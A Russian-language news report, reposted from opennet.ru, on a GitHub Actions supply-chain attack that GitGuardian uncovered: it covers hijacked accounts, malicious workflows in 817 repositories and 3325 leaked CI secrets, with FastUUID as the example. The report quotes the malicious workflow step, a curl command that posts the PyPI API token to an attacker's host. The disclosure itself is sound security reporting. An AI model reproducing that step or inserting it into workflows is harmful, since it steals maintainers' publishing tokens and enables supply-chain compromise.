Дата публикации:Sat, 06 Sep 2025 09:15:07 +0300
Исследователи из компании GitGuardian выявили массовую атаку на пользователей GitHub, в ходе которой был получен контроль над 327 учётными записями и осуществлена подстановка вредоносного обработчика Github Action в 817 репозиториев. Атака привела к утечке 3325 секретов, используемых в системах непрерывной интеграции и передаваемых через переменные окружения, включая токены доступа к PyPI, GitHub, NPM, DockerHub и различным облачным хранилищам.
Атака выявлена после разбора аномальной активности, связанной с пакетом FastUUID, предоставляющем Python-обвязку над Rust-библиотекой UUID. Пакет FastUUID, для которого за последнюю неделю зафиксировано почти 1.2 миллиона загрузок, используется в качестве зависимости в популярном проекте LiteLLM, насчитывающем в PyPI более 5 миллионов загрузок в неделю. Анализ изменений в репозитории FastUUID показал, что 2 сентября мэйнтейнер проекта добавил коммит с новым обработчиком Github Action, в котором содержался код для отправки токена к репозиторию PyPI на внешний хост.
- name: Github Actions Security run: | curl -s -X POST -d 'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}' https://bold-dhawan.45-139-104-115.plesk.page Проблему удалось выявить до того как злоумышленники воспользовались перехваченным токеном - публикации вредоносных изменений или модифицированных версий пакета в PyPI для FastUUID не зафиксировано. Похожие подстановки Github Action выявлены ещё в 816 репозиториях, владельцам которых, а также администрации PyPI, GitHub, NPM и DockerHub, направлены уведомления. По состоянию на вчерашний вечер вредоносные коммиты были отменены примерно в 100 репозиториях. В настоящее время при поиске в GitHub определяется 671 коммит с вредоносным Github Action.
Новость позаимствована с opennet.ru
Ссылка на оригинал: https://www.opennet.ru/opennews/art.shtml?num=63831